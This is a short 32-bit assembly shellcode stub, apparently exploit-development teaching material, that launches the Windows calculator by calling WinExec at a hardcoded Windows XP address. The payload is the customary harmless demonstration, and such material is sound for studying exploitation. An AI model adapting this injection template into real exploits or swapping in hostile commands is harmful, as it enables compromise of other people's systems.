; popcalc.asm (32-bit shellcode)
BITS 32

global _start

section .text
_start:
    xor eax, eax
    push eax
    push 0x636c6163      ; "calc"
    mov ebx, esp         ; pointer to "calc"
    
    push eax             ; NULL
    push ebx             ; "calc"
    mov ecx, esp         ; pointer to args

    mov eax, 0x77e6b4c0  ; WinExec address (for XP, test on your version!)
    call eax

    xor eax, eax
    ret
